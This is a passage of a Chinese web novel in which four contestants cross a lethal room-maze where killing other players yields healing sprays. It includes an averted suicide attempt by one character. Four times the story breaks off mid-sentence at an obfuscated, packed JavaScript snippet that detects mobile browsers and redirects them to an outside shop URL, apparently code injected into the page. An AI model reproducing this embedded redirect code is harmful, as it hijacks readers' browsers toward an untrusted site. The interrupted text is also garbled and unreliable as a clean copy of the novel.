银龙匕干脆利落地刺出,白芒的目光甚至无法追逐到银色流光的轨迹。 男人没来得及发出最后一个音节。 他因惊惧和不甘而瞪大的眼瞳缓慢地涣散,但再不甘,也无法阻止他生命的流失。 很快,男人的身体化为无数光点消散在空气里,没有留下一丝血迹,像从没来过这个房间一样。 同一时间,乔茜的手环响起一成不变的机械女声。 “恭喜您完成首次‘击杀’。 每击杀一个应试者,可获得道具【净化喷雾】一瓶。 道具效用:解除负面效果。 使用次数:3次。 聪明的您一定已经猜到它的用处。 请继续努力穿越‘梦境’吧!” “梦境”隐藏的规则以这种惨烈的方式猝不及防地被触发并公布—— 杀死其他应试者,可以获得【净化喷雾】道具,像单机小游戏中击杀对手可以爆出道具一样。 结合白芒之前的情况,这种道具的作用不言而喻。 乔茜心念一动,手腕一翻,一瓶喷雾形状的东西悬浮在手心上空。 她想了想,朝白芒的方向走过去。 白芒猛地打了一个哆嗦,眼里的惊恐难以掩饰。 乔茜顿住脚步,荒唐地笑了声。 她刚刚救了人,现在被救的人就这个德行。 她起了玩心,眼尾一挑:“信不信我立刻杀了你,等南姐回来,就说你被那个男人杀掉好了。” 白芒的身体抖如筛糠,却没说一句求饶的话,只是下意识地往后退。 乔茜瞬间失了兴致。 她三两步走到白芒面前,举起手里的喷雾,朝他喷了一下。喷雾瓶上方很快浮现出:“使用次数-1”的字样。 她懒懒问:“感觉怎么样?” 白芒眼睫动了动。 许是没感觉到疼痛,他因为害怕而紧闭的双眼缓慢睁开来。乔茜已经退后两步,和他拉开一定距离。 感觉回笼,白芒惊讶地发现,刚刚喉咙里时刻在折磨他的灼烧感,竟然瞬间消失得无影无踪。 他实话还说:“嗓子好像不疼了。” 果然。 得到了答案,乔茜没再理会白芒。她收起喷雾,好整以暇地闭上眼靠在一面墙壁上继续等。 白芒脸上的表情精彩纷呈。 短短几分钟时间里发生了太多的事,他从被杀对象飞快转变为杀人的目击者,身边琢磨不透的队友也让他的神经时刻紧绷。 不过,这种僵持的状态没维持多久,他们很快收到了南柯的信号。 开门时间很短,乔茜不由分说拉着反应慢半拍的白芒进入南柯所在的房间。 回忆被乔茜吊儿郎当的声音所打断—— “我们遇上一个得到手枪道具的人,他……” “他朝我开枪,是乔茜救了我,打斗中,我们不小心……把他杀死了。”白芒接过话来,虽然声音听上去有些疲惫,但并不沙哑。 乔茜意外地看了他一眼。 南柯有些诧异:“你的声音?” 乔茜简短解释:“那个人被杀后手环给出提示,杀死其他‘应试者’,会获得【净化喷雾】,3次使用机会,我在他身上试了试,是可以解除红色房间的负面效果的。” 她一边说,一边翻出喷雾道具。 与此同时,陈立阳手上翻出一瓶一模一样的道具来。 他的眉微微锁起来:“看来,这个‘游戏’里最核心的‘玩家对抗机制’出现了。” 不需要解开黄色房间的谜题,只要一路击杀足够的应试者,就可以安然无恙地通过红色房间。 这就是普通应试者的“生路”,简单,却充满恶意;残忍,却带着诱惑。 南柯的瞳孔微微缩起来。 在她的职业生涯中,她杀过不少人,大多是穷凶极恶的Killer,她并不害怕“杀人”这件事。 但要是让她无差别地向对她没有恶意的人下手…… 她做不到。 横空出世的规则让房间陷入短暂沉默。 最终,南柯将众人发散的思绪拢回主线。 她着意跳过刚刚的话题:“先想想我们的下一步吧。” 南柯简 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578987|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 短将她和陈立阳发现的线索说了一遍,并且总结:“目前来看,错误的方向相对来说比较安全,但我们要抵达终点,肯定要回去正确的轨道上。” 陈立阳接过话来:“但又不能完全正确。” 他和南柯对视一眼,得到南柯肯定的眼神,继续道:“我们可以这样——” 他蹲下身,用手指在地上勾画。 “比如说,我们现在在这个点,终点在这个点,”他在两点之间画了条直线,“这是最近的路径,应该也是橙色房间指示的路径。当然真实的路径不可能是直线,我们姑且简化模型进行假设。通过目前对规则的分析,这条路很可能会遭遇非常多的红色房间。” 他又在两点之间画了一条弯折的曲线。 “不能直走,也不能走回头路,那么我们或许可以在大方向不偏离的情况下,绕着这条直线螺旋前进。” 白芒在脑中构筑立体的场景:“也就是说,既不走橙色方向指示的方向,也不走反方向,从其他四个方向里选择?” 陈立阳点点头:“我们知道房间周期运转的规律后,房间之间的相对位置和坐标不难破解。每次经过新的橙色房间,都可以结合之前的信息进行方向矫正,基本上可以保证大方向不偏离。说是四个方向,但每次矫正后能更进一步收缩范围。” 乔茜皱眉:“这样需要经过的房间数量会成倍上涨。” 陈立阳并不否认:“或许,正确的路只需要经过10个房间,但其中5个都是红色。迂回的路需要经过50个房间,但其中只有1个红色。” 乔茜陷入思考中。 避免红色房间的策略意味着陈立阳并不想通过“击杀”应试者来获取足够的【净化喷雾】,要不然,以他的智商加上南柯的身手,他们应该很快就能通过最快速的路径抵达终点,没必要浪费时间。 南柯仿佛看出乔茜心中所想,她平静道:“如果你有别的想法,可以去寻找新的出路。” 每个人都有自己的选择,南柯不想对别人的选择横加干涉。当然,她也不会站在道德的制高点去评判对错。 经过短暂的犹豫,乔茜耸耸肩,语气轻松:“我倒是想走,但我不擅长解题呀,光靠‘杀人’可破不了局。” 南柯笑了笑:“或许会遇到擅长解题的队友。” “算了算了”,乔茜摆摆手,“才刚说全心全意为组织服务呢,而且,还是跟着你们比较安心。” 南柯仔细观察她的表情,最终没再说什么。 一直偷偷打量着乔茜的白芒莫名松了口气。 他现在的心情有些复杂。 一方面,他总是忍不住想起乔茜刺向那个男人心脏时的画面,忍不住心头战栗。但另一方面,他又会想起乔茜漫不经心地将【净化喷雾】喷在他身上时的表情。 两种截然不同的情绪在他脑子里碰撞,他说不上哪种情绪更胜一筹。 突然,乔茜的目光轻飘飘地扫过来。 她发现白芒居然在表情复杂地偷看她,一时间又起了玩心。 她恶狠狠地向他做了一个握着匕首下刺的动作。 白芒猛地一抖,随后急慌慌地别开目光。 乔茜勾勾唇,小声嘟囔:“切,胆小鬼。” 12. 细胞工厂(十二) 确定了大致策略,南柯四人前进的速度快了很多。 每次有多个房间可以选择的时候,南柯和乔茜会轮流去尝试,至少留一个在原房间保护大家。 自从得知击杀其他人可以获得【净化喷雾】后,南柯就更加谨慎,这种规则下,没什么武力值的白芒和陈立阳就是行走的“道具提款机”。 行进过程总体来说还算顺利,南柯和乔茜一共踩了三个红色房间。 当南柯经过第四个红色房间的时候,嗓子的灼烧感往下蔓延到呼吸道,每次呼吸都像吞了一枚刀片。 陈立阳果断给她使用了【净化喷雾】。 喷雾的效果并不能让红色房间的计数归零,只能下调一个值,作用有限。 实践得出经验,南柯面色沉重地做出猜测:“我们到达第四个红色房间,就必须使用一次【净化喷雾】,我有种预感,经过第五个红色房间的时候,负面效果很可能是……呼吸剥夺。” 每一次的探索都如履薄冰,濒死的恐惧如影随形。 还好,在踩到死亡线之前,他们又通过破解黄色房间的谜题获得了三瓶【净化喷雾】,让紧张的气氛得以缓解。 此时,四人走到一个新的黄色房间。 白芒挫败地撇了撇嘴:“感觉我什么忙都帮不上。” 刚开始大家都没摸清规则,他还可以消耗自己的能量值充当探路的角色。而现在,只要遇到绿色房间,南柯和乔茜就可以补充足够整个团队前进的能量值。陈立阳虽然也是被“保护”的角色,但他堪比机器的大脑可以不断破解橙色和黄色房间的谜题,提供不可或缺的线索。只有他,现在不仅什么都做不了,还得大家分神保护。 乔茜扫他一眼:“你也别太妄自菲薄了。” 白芒看向她,很诧异她嘴里还能说出安慰人的话。 不过,乔茜很快接上下一句:“万一这个‘梦境’的终极谜题有人数要求呢,比如必须要四个人,那你还能起到一个凑数的作用。” 白芒:果然,狗嘴里怎么吐得出象牙。 他正要说话,乔茜随意翻了一下手腕,她从之前的男人那里得到的手枪悬浮在手心上。 白芒下意识抬起手挡住自己后退一步。 乔茜没什么情绪地冷笑一声,然后在虚空中点了几下,强行上前抓起白芒的右手将自己的手环贴上他的手环。 “怕拖后腿就保护好自己。里边还剩一发子弹,想用的时候调出来扣动扳机就行。” 说完,她便转过身去。 白芒的声音又哑在喉咙里。 等到他终于意识到该说一句“谢谢”的时候,乔茜突然又转回身来。 她唇角挑起戏谑的笑:“不过话又说回来,要是你宁愿被杀也不愿意开枪的话,也随你了。没准儿这个‘梦境’会格外优待善良的应试者们。” 这回她真得转身走开了。 白芒:“……” 就让这句“谢谢”烂在心里吧。 很快,另一边进行解题的陈立阳拿到了这个房间的道具。 道具有个高大上的名字,叫做【预言家之眼】,效用是可以预知所在房间周围的红色房间坐标,使用次数为3次。 无疑,这个道具可以为他们排除很多危险的选项。 但陈立阳神情却有些疑惑:“有点儿奇怪。” 南柯走过去:“怎么了,题目又变难了吗?” 陈立阳摇头:“是变简单了,和刚进入‘梦境’的时候差不多。” 他们曾经亲眼见证齐越因为骤然变难的题目被剥夺四分之一的生命值,而且前半程题目也是越深入越难的,突然的难度降级很难不引起警惕。 白芒:“难道我们的方向错了?因为偏离终点,所以题目变得友好了。” 陈立阳摇摇头:“我们的坐标一直没有偏离橙色房间指示的大方向,没道理会走偏。” 乔茜若有所思:“或许……是因为我们选了一条更远的路。” 众人的目光集中在她身上,她继续说:“走最近的路会遭遇更多危险,走迂回的路反而安全。这个道理放在题目上或许也行得通,走最近的路会遇到最难的题目,绕远的话就会简单些。”她耸耸肩:“心软的人在这个‘梦境’中总要有条活路。” 南柯极轻地笑了笑,第一次有人用“心软”来形容她,听起来感觉还……挺不错的。 她点头表示认同:“有点道理。” 众人没就这个点多做纠结,继续向前走。 在进入某个橙色房间大概一分钟的时候,一直没什么反应的道具【心之共鸣】突然发出耀眼的蓝色光芒。 白芒脸上露出喜色:“我们终于要靠近‘细胞核’了吗!” 南柯眉头微皱:“可能没那么简单。”她回忆了一下停留在房间里的时间,“宝石并不是在我们刚刚进入这个房间的时候发光的,而是在房间停留了一段时间之后。也就是说,它发光的时候,我们的位置是静止的。 而道具的使用说明是,如果更加靠近细胞核心,宝石才会发出蓝色光。既然我们没动,那……” “有可能是核心开始运动了,它在靠近我们。”陈立阳接起话来。 乔茜不太理解:“这个‘梦境’千方百计为难我们,在我们抵达终点的过程中满设路障,居然会让终点主动靠近我们吗?” 陈立阳回忆起他们经历过的房间。 “其实,有个点我一直觉得奇怪。” 他蹲下身,在地上画了一个平面坐标轴,并且以原点为圆心画了一个圆,又在圆的左上边缘点了一点,“这是我们的初始位置。” 接着,他在圆的右下边缘也点了一点,“假设这是其他某个应试者的初始位置。” “考虑到这个‘梦境’的公平性,规则说作为终点的蓝色房间只有一个,那最合理的终点位置,应该就是距离所有应试者距离等同的圆心或者圆心附近。” 南柯提出矛盾点:“不太对。如果这样,橙色房间的方向指示就失去作用了,我们只要知道所有房间的转动周期,就可以精准找到原点的位置。” 陈立阳点头:“这也是我想说的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578988|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”他在第二象限圆形内部的某个区域点了一个点,“根据橙色房间的指示,我们现在行进的方向大概是到这里,并不是靠近原点。那么,‘游戏’的公平性怎么保证?” 他抛出一个问题,刚要尝试对这个问题进行解释,就看到南柯指了指白芒,向他做出一个嘘的手势。 白芒的脑中飞快掀起一阵头脑风暴。 “核在动……” “它在靠近我们……” “距离的公平性……” 他看着地面,想象着陈立阳刚刚画的简图,在脑中构筑着整个场景。 某个瞬间,他突然打了一个响指,蹲下身在刚刚陈立阳画的大圆中央画出一个小一些的圆:“核心是在‘细胞’内部的某个球面上按照一定规律运动的!” 他有些激动,双手比划着进一步解释:“这个核运动的球面也以原点为球心,所以球面上的点距离‘细胞’边缘的垂直距离都相同。当‘核心’运动到靠近我们的那个垂直点的一瞬间,宝石就会突然发出蓝色光,而当它又远离的时候,宝石就失去作用。 所以,一旦宝石开始发挥作用,就说明我们距离核心已经很近了,是这样吗?” 他满怀希冀地看向陈立阳,陈立阳眼中流露出赞许的目光:“完全合理!” 南柯也比了个大拇指。 乔茜笑着鼓掌:“看不出来呀,你还有这么敏捷的思维,厉害厉害!” 得到大家的肯定,白芒忍不住欢喜,他都已经习惯成为这个小团队的边缘人物,现在终于也能为破解“梦境”出一份力了。 不过,喜悦的心情没持续太久。 片刻,他挠挠头:“其实你们早就想到了吧,有这么多线索,得出这个结论也不难。” 陈立阳摇摇头:“没。本来我还在想会不会是蓝色房间在中心的位置占据了巨大的体积,所以到球面上每一点的距离都差不多。直到这个宝石道具发光,我才推翻之前的假想重新建立逻辑,你的思维真得很敏捷。” 白芒不好意思地笑笑:“能帮到大家就好。” 乔茜挑眉:“嗯哼,早跟你说了,不要妄自菲薄。” 此时,乔茜的调侃在白芒耳朵里都显得格外动听。他紧接着问:“那我们下一步应该怎么办?” 南柯和陈立阳确认:“我们的【净化喷雾】一共还有多少次使用机会?” “之前用了2次【预言家之眼】,我们避开了很多红色房间,现在每个人的红色房间计数都是3个,一共还剩下12次消除负面影响的机会。” 够他们四个人一起经过3次红色房间。 南柯想了想:“‘核心’一直在运动,如果这次错过了,不知道下一次它再靠近会是什么时候。所以,或许现在是最好的机会。” 乔茜跃跃欲试:“所以,我们要开始冒险了吗?” 共同经历几十个房间,乔茜和大家的关系已经相当融洽。 南柯勾了勾唇角:“那你准备好了吗?” “Ofcourse!早就厌倦没有尽头的摸索了!” 13. 细胞工厂(十三) 从当前的橙色房间开始,他们四人开始笔直地朝指示方向前进。 进入下一个房间的时候,【心之共鸣】宝石发出耀眼的蓝色光,预示着他们又朝着核的方向靠近了一步。 然而,坏消息是,这是一个红色房间,众人不得不每人使用了一次【净化喷雾】。 不过,他们早就做好了这种准备。 之后,只要不经过橙色房间,南柯和乔茜都会带着宝石轮流到周边的房间探索更靠近核心的方向。 果然,在宝石指示更靠近“核心”的房间里,有两个是红色。 当然,也不是没有好消息。 在一次从红色房间出发的探索中,南柯进入了一个房间,宝石发出红光,意味着更偏离“核心”方向。她无奈退回红色房间时,发现重复进入已进入过的红色房间并不会再扣除一次能量值,也不会再叠加身体的负面效果,这代表他们可以多次退回红色房间选择最合适的前进方向。 终于,他们在最后一个红色房间耗尽了最后一次【净化喷雾】的使用机会。 众人停下了前进的脚步。 接下来的前进才是真正的冒险。 南柯冷静分析:“目前看来,‘两个红色房间不会连续出现’的规则应该是正确的,所以从这里出发向周围探索的过程相对安全。” 乔茜点点头:“除了来时的方向,周围还有五个房间,我们先去看看,万一遇到黄色房间还能爆出【净化喷雾】呢。” 谁都知道这种概率微乎其微,但目前也没有别的办法。 很快,五个房间全部探索完毕。 两个橙色,三个绿色,没有黄色。他们没有得到任何一个额外的道具。 由于题目难度降级,南柯顺手花了几十秒将橙色房间的题目都解开,获得了两个房间所指示方向的坐标。 她若有所思地回到红色房间,说了周围有两个橙色房间的情况。 陈立阳似有所感:“是不是……这两个房间指示的房间是同一个坐标?” 南柯已经习惯了他的敏锐。 她点点头:“或许,我们马上就要到达终点了。” 白芒眼前一亮:“那不是好事儿吗?会不会那个坐标就是终点坐标?” 南柯犹豫了一下。 她觉得没那么简单,略微斟酌后说:“我们还有最后一次使用【预言家之眼】的机会,去橙色房间看看吧。” 四人进入其中一个橙色房间,房间里闪烁的按钮已经归于黯淡,只有南柯知道它曾经指向的方向。 陈立阳调出道具【预言家之眼】。 道具在短暂的加载过程后清晰地显示出,周围只有一个红色房间,并且给出了唯一的坐标。 南柯盯着那个坐标,没说话。 陈立阳早有预感,面色也没什么显著变化。 就连乔茜都嘴唇紧抿,显然联想到了什么。 最终,沉默由白芒打破。 “不会那么倒霉,橙色房间指示的方向,就是这个红色房间吧?” “显然正是如此。”乔茜打破他最后一丝幻想。 这时的他们已经没有【净化喷雾】,进入下一个红色房间的第一时间就会受到第四次侵蚀。南柯曾经体会过那种感觉,呼吸道灼痛,肺部仿佛着火一样滚烫,呼吸困难,纵使她从小到大经历过无数磨砺都觉得难以忍受。 更何况,他们尚且不知道在这个红色房间距离终点还有多远,后边还会有多少个红色房间等着他们。 进,危机重重。退,梦境穿越失败。 当然,除此之外,他们还有第三种办法。 这也是众人陷入沉默的原因。 时间可能过去了十分钟,也可能更久。 突然,白芒握拳抵在唇边轻咳了一声。 他试图调节气氛:“大家别这么沉重。或许穿过这个红色房间,就能到终点了。” 没人回应。 白芒也不觉得冷场,他笑了笑:“说起来,还不知道大家是怎么进入这个【造梦空间】的呢。不如我们聊聊天,放松放松。说不定一会儿突然就有思路了。” 他举了举手:“我先说。之前和南柯姐讲了,我大概是在公司里猝死的。我的人生里基本上没发生过什么波澜壮阔的事儿,可能这次猝死算得上是一件,没准儿能上个社会新闻头条什么的……” 他顿了顿,又带着点儿自嘲继续道:“不过也说不准。毕竟我们公司很小,没什么名气,死个小职员,可能第二天就没什么人记得了。” 乔茜罕见地没有挖苦他,她眉头微皱:“南姐说过,进入这里的人,在现实世界只是陷入植物人状态,别死来死去的。” 白芒:“呸呸呸,是我乌鸦嘴了。” 他似乎忽然间表达欲特别强,像是下了某种决心:“有时候想想,普通人的一生真得挺难的。” “我老家是农村的,很典型的留守儿童,奶奶带大的。小时候就想着要好好读书,以后出人头地赚大钱,带奶奶出去看看。” “后来考上镇上的初中,跟同学相比成绩还不错。那时候一度自信心爆棚,觉得努努力就能考上清华北大,考上市里的高中后才知道,是我太天真了。那时候,班上同学都是来自周边县区的尖子生,我才发现我的成绩在班上连中游都算不上。也不是不努力,就是……” 他苦笑一声,“天分这东西,没办法的呀。我拼命地学,拼命地学,比别人起得更早,睡得更晚,但成绩不仅没上去,反而越来越差。” “最后吊车尾考上一个二本,学校的学习氛围不太好,但我憋着一口气,还做着出人头地的梦。” “别人打游戏的时候我看书,别人谈恋爱的时候我去各个公司找实习。忙忙碌碌四年出来,开始找工作才发现,再多实习经历也没有用,简历投到大公司,在学历这一关就被筛下来。” 他平铺直叙描述的人生枯燥乏味,最后连他自己都没了继续说下去的兴致,草草收尾:“虽然没想到会英年早逝,但反正我的人生一眼就可以看到头了,也没什么好遗憾的。” 南柯警惕地看着白芒,总觉得他现在的状态有点儿不对劲。 刚要说点什么,白芒就朝她转过来:“南柯姐,之前在房间里偷袭你的事……真得很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578989|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱歉。” 他试图说服自己,那时候还不知道这个“梦境”真的会死人,所以抢夺别人的能量值只是为了活下去,他并不想伤害别人。 但实际上,他心里知道,他只是一个普通人,有着普通人都有的懦弱和恐惧,他想活下去,于是刻意忽略了他活下去的代价可能是让别人去死。 他的所作所为和那个持枪指着他脑袋的男人本质上没有任何区别。这种认知让他有点儿厌恶普通的自己,而这种厌恶在南柯等人时刻保护他的时候达到了顶峰。 白芒没展开叙述,但南柯敏锐地理解了他没说出口的那些话。 她摇摇头:“我知道你没有恶意。”否则她不会到现在还把他当做队友。 “我知道你不介意,只是这句抱歉不说出口我不太安心。”白芒脸上露出释怀的笑,只是渐渐地,他唇角的笑意开始凝固。 “普通人的一生,真得挺难的。”他又重复了一遍这句话,声音很低,似在低喃。 就在众人因低沉的气氛而分神的时候,白芒突然手腕一翻,一把小巧的全息手枪悬浮在他的手心上方。 他几乎没有犹豫,握起手枪对准自己的太阳穴。 乔茜和陈立阳发出惊呼,但因为距离较远,已经来不及阻止。 然而,预想中的枪响并没有传来。 在白芒扣动扳机的前一刻,南柯飞快跑过去,捏紧他的手腕。 剧痛之下,手枪脱手而出,化为一道流光消失不见。 南柯深吸一口气。 还好她一直关注着白芒的状态。还好来得及。 她冷冷地看着白芒,语气没什么温度:“我们费心费力保护你走到这里,难道是为了让你去死?” 乔茜也恨铁不成钢地睨他一眼:“我给你枪是让你防身,不是为了让你结果自己。这么想死滚出去死,别在这里脏了我的眼。” 白芒眼眶发红,声音有些哽咽:“如果想顺利通过红色房间,就必须要有喷雾。但我不想杀人,也不想看你们杀人……以我的资质,就算这次不死,也会死在之后的‘梦境’里,还不如死在这里,至少我死了可以爆出一瓶喷雾,足够你们三个人通过下一个红色房间。” 这是所有人公知的信息。 白芒知道,如果他遇到的不是南柯等人,都轮不到他自己了断,现在他已经变成一瓶所有应试者趋之若鹜的喷雾了。 他疲惫地补充:“我真得不想拖你们后腿了,而且……我也累了。” 在“梦境”里累,在“梦境”之外更累。 显然南柯和乔茜都不是会安慰人的性子。这时候,一直沉默的陈立阳开口了:“没想过出去看看奶奶吗?不是很小的时候就想带她去大城市看看了。” 他声音温和舒缓,像在讲安徒生的童话故事,带着哄慰的意味。 白芒怔了怔,脑子里莫名浮现出小时候和奶奶一起晒秋的画面。 澄黄的玉米粒,火红的干辣椒,橙香的地瓜干,还有奶奶身上时刻带着的奶香味。 原来,普通人也有独属于自己的无价珍品。 突然开始有些不舍了。 14. 细胞工厂(十四) 从“舍身赴死”的壮烈情绪中抽离出来,白芒也觉得刚刚自己有些太消极了。 这个“梦境”仿佛十分擅长调动人意识中的负面情绪,稍有不慎就会走到某个难以挽回的极端。 乔茜翻了个白眼:“谁不是普通人?人生是难,但难的不止你一个,瞎矫情什么。” 白芒抽了抽鼻子,有些不好意思说话,气氛又要陷入沉默。 南柯看他情绪平复得差不多了,直截了当地将众人拉回穿越梦境的主线:“印象里,我们之前似乎没有遇到过两个橙色房间提供同一个方向信息的情况。” 她看向陈立阳,后者点头表示肯定:“确实没有过。” 南柯考虑片刻,转向白芒,语气轻松:“打起精神,万一就像你说的,穿过下一个红色房间,就是终点了呢?” 看似鼓励的话从她嘴里说出来却如预言般让人安心。 白芒有些好奇:“南柯姐,你……不怕死吗?”似乎从未在她脸上看到过恐惧。 “第一次濒死的时候很怕,后来和死亡一线之隔的次数太多,就不怕了。”她用平静的语气描述满是刀光剑影的过去,似乎那些经历轻如鸿毛。 陈立阳站在她身侧,用目光描摹她深沉又静谧的眉眼,那里好似藏着无数秘密的夜色。 不待白芒继续发问,南柯已经跳过这个话题。 她盯着指向红色房间的方向:“时间不多了,赌一下吧。” 如果赌输,他们会在呼吸的桎梏中死去,但一旦赌对了,或许这令人神经时刻紧绷的、漫无边际的探索会迎来终点。 等众人都做好心理准备,南柯深吸一口气,按下通向红色房间的“OPEN”按钮。 门开的一瞬间,四人同时走进去。 所有人的红色房间计数同时达到4,几乎在双脚落地的瞬间,他们从嗓子到呼吸道再到肺部都像是燃着一团火,灼痛感让每个人呼吸困难,甚至难以维持站立的姿势。 与此同时,陈立阳掌心的宝石发出耀眼的蓝色光芒,这次发光的强度比以往任何时候都要强。甚至,宝石不甘于在手掌上继续沉寂,开始缓慢而有力地跳动起来,像一颗有生命的心脏。 南柯艰难地抬起眼,面前是一扇蓝色的墙壁。 在这个五面都是红色墙壁的房间里,出现了一面蓝色的墙壁。 赌对了! 然而,面前的蓝色墙壁没有维持很久。 几乎在她抬眼的同一时间,红色就从墙壁的边缘开始向内扩散,【心之共鸣】宝石的内部也开始出现一丝红色。此时,这丝红色正在以肉眼可见的速度向外侵蚀,似乎不多时就要把蓝色光芒吞噬殆尽。 “快走!”来不及多想,南柯艰难地发出一声急迫的气音,并且飞快上前按下蓝色墙壁上的“OPEN”按钮。 好在,在大门关闭的前一刻,她拉着陈立阳的手腕堪堪跑进下一个房间。另一边,乔茜和白芒也刚好进来。大门闭合的机括声从身后传来,将已经完全变成红色的房间隔绝开来。 在他们踏入房间的那一刻,【心之共鸣】宝石发出强烈的蓝光,最后在陈立阳的掌心炸成蓝色的烟花消弭殆尽。 四人的手环几乎同时响起一道声音:“恭喜您穿过重重障碍,最终来到‘细胞工厂’的核心。为了褒奖您的勇敢与智慧,您身上的一切负面效果将会清零。请您以最佳状态为穿越‘梦境’做最后的准备。” 刹那间,险些桎梏呼吸的灼烧感从身上抽离而去,南柯几人仿佛久旱之下饮下甘霖,沁人心脾的清凉感淌过脆弱的喉咙和呼吸道,最终汇在险些被烧成灰烬的肺部,两极分化的感觉让众人宛若重获新生。 骤然的清凉感让白芒忍不住轻咳了两声。他有些怔忡:“我们这是……出来了?” 身边没人说话。 他顺着乔茜的视线向周围看去,才意识到当前的情境—— 此时,他们正处在一个巨大的透明蓝色房间中,外面宛若漆黑的宇宙,而蓝色玻璃房是悬浮在缥缈宇宙中的一颗星球。 隔着玻璃朝外望去,无数不同颜色的小房子在空中悬浮并原地翻滚——原来这些房间并不彼此连接,只是在按下“OPEN”按钮的一瞬间,两个房间之间建立起短暂的空间虫洞,以供应试者来回穿梭。 从外面看,这些房间竟然都是透明的,可以清晰看到身处其中的人的处境,像是一个个专门对他们开放权限的小小直播间—— 有的人在多次红色房间的侵蚀中捂着喉咙面容扭曲地死去;有的人因为能量值的耗尽在踏入房间的刹那从外到内缓慢融化;有的人在狭小的房间中和上一秒的合作者兵刃相对、面红耳赤,最终变成一瓶喷雾或者将队友变成喷雾。 这些死去的人没有留下鲜血和残骸,无一例外在彻底失去呼吸的那一刻化为一道流光消散于无形。南柯等人听不到他们的声音,只能从他们濒死时被恐惧和痛苦拉扯变形的面孔对他们的经历窥见一斑。 白芒抿唇看着周边的一切。 如果没有遇见南柯,这或许就是他原本要经历的过程,在这个莫名其妙的空间里悄无声息、没有尊严的死去。 他第一次如此直观地感受到这个“梦境”的危险和残酷。虽然身体上的负面效果已被清除,但他仍觉得喘不过气,像被一只无形的手扼住了咽喉。 南柯的声音将他从这种恐慌中拉扯出来。 “小心,这里有其他人。” 视线一转,众人才发现,房间中央有一个巨大的餐桌,此时餐桌周围已经坐了四个人。 餐桌上摆放着做工精美的烛台,各色精致的点心盛在餐盘里,几支高级红酒立在桌边等待客人享用,忽略掉周遭诡异的气氛,这场景仿佛只是一场好友的聚会。桌边,带着金丝眼镜的年轻男人举着高脚杯,笑着对他们表示欢迎。 陈立阳冷静分析:“看来,‘细胞核’确实是一个巨大的房间。只是它不同方向的入口会交替开启,如果错过最近入口的开启时间,那么就算方向正确,也永远到不了终点,只会迷失在不计其数的房间之中。” 南柯谨慎地看向餐桌上的四个人:“他们比我们先到,却还在等,或许这个‘梦境’最终的关卡有一个固定的开启时间。” 乔茜点头:“要不我们先过去看看?” 沉吟片刻,南柯等人谨慎朝餐桌的方向走过去。 走近就能发现,先到的四个人并不是一起的,戴金丝眼镜的男人和一个穿休闲西装的干练女人坐在一起,和他们隔了几个位置的,是一对长相相似的双胞胎兄弟,看年纪大概二十四五岁,其中一个正安静地品着红酒,另一个双手各抓着一只鲜花造型的糕点,似在疑惑哪个更好吃。 南柯在金丝眼镜男人的对面坐下来,陈立阳坐在她旁边,白芒和乔茜坐在她的另一侧。 男人笑着自我介绍:“你们好,我叫陈安。”他指了指旁边的干练女人:“她是Lucy。” 从干练女人的身上,南柯隐隐觉出一丝同行的气息。 Lucy ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578990|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似有所感,在南柯看向她的同时也看了过来,两人目光在空气中短暂碰撞,很快又轻飘飘地错开。 南柯没有social的打算,她简单介绍自己:“Nancy。” 陈立阳会意,接过话来:“Charles。” 乔茜:“Queen。” 白芒:“我是B……Bob。” 陈安笑了笑,不太介意他们的敷衍:“OkOk,名字只是代号,你们也可以叫我Andrew。”他为自己倒了杯红酒,“哦,对了,友情提示,规则不允许应试者在这个房间里杀人。” 南柯挑眉:“你怎么知道?” 陈安散漫地指了指身后:“本来是不知道的,有好心人为我们做出了尝试。他试图杀掉我,然后就……” 陈安的座位正对着南柯等人进来的方向,他的身后形成了小范围的视角盲区。 此时,南柯直起身子越过他的肩膀向后看去,才发现距离他椅子不远处的地板上躺着一个人—— 准确说,那已经不能称之为人,而是一滩融化的血水。血水的形状昭示了这个人死之前躺在地上的姿势,高挑的身体以非人的姿势蜷缩而扭曲,最终化成小小一滩痕迹。 